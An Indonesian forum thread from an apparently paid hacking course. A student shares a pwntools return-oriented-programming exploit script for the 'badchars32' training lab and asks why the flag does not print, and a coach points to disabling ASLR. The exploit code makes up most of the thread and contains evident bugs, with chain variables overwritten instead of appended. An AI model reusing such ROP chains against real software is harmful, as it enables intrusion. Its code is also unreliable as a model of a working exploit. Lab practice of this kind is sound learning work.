Beranda › Forums › Mempelajari Teknik Hacking Tingkat Mahir › Lab Return Oriented Programming Kompleks – Bad Chars
- This topic has 3 replies, 2 voices, and was last updated 3 years, 4 months ago by Coach Williams.
-
AuthorPosts
-
June 13, 2023 at 3:02 PM #197963
Dear Coach, pada saat praktek Lab Return Oriented Programming Kompleks – Bad Chars, flag ROPE{a_placeholder_32byte_flag!} gak keluar, but muncul tulisan:
Failed to open file:
[*] Process ‘./badchars32’ stopped with exit code 1 (pid 4896)Ini code lengkapnya di nano exploit.py:
from pwn import *
#b’78’ x
#b’67’ g
#b’61’ a
#b’2e’ .p = process(“./badchars32″)
gadget_pop = p32(0x080485b9) #pop esi ; pop edi ; pop ebp ; ret
gadget_mov = p32(0x0804854f)
bss_addr = 0x804a030
print_addr = p32(0x08048538)
pop_ebp = p32(0x080485bb)
pop_ebx = p32(0x0804839d)
sub_ebp_ebx = p32(0x0804854b)fla_str = p32(0x68626c66) #”flbh”
txt_str = p32(0x7479742f) #”/tyt”
padding = “A” * 44# 1st write
write_fla = gadget_pop
write_fla += fla_str
write_fla += p32(bss_addr)
write_fla += b”AAAA”
write_fla += gadget_movwrite_fla = pop_ebp
write_fla += p32(bss_addr + 2)
write_fla += pop_ebx
write_fla += p32(0x1)
write_fla += sub_ebp_ebxwrite_fla = pop_ebp
write_fla += p32(bss_addr + 3)
write_fla += pop_ebx
write_fla += p32(0x1)
write_fla += sub_ebp_ebx# 2nd write
write_txt = gadget_pop
write_txt += txt_str
write_txt += p32(bss_addr + 4)
write_txt += b”BBBB”
write_txt += gadget_movwrite_txt = pop_ebp
write_txt += p32(bss_addr + 4)
write_txt += pop_ebx
write_txt += p32(0x1)
write_txt += sub_ebp_ebxwrite_txt = pop_ebp
write_txt += p32(bss_addr + 6)
write_txt += pop_ebx
write_txt += p32(0x1)
write_txt += sub_ebp_ebx# call print
call_system = print_addr
call_system += p32(bss_addr)payload = padding.encode() + write_fla + write_txt + call_system
p.recvuntil(“>”)
p.sendline(payload)
print(p.recvline().decode())
print(p.recvline().decode())June 14, 2023 at 9:39 PM #198155aslr nya udh dmatiin?
June 15, 2023 at 7:26 PM #198220Well noted Coach, but bisa dishare cara menonaktifkan ASLRnya step by step, termasuk cara mengaktifkannya kembali?
Thanks CoachJune 17, 2023 at 9:37 AM #198274di video saya jelasin kok, bisa cek ini yah https://askubuntu.com/questions/318315/how-can-i-temporarily-disable-aslr-address-space-layout-randomization
-
AuthorPosts
- You must be logged in to reply to this topic.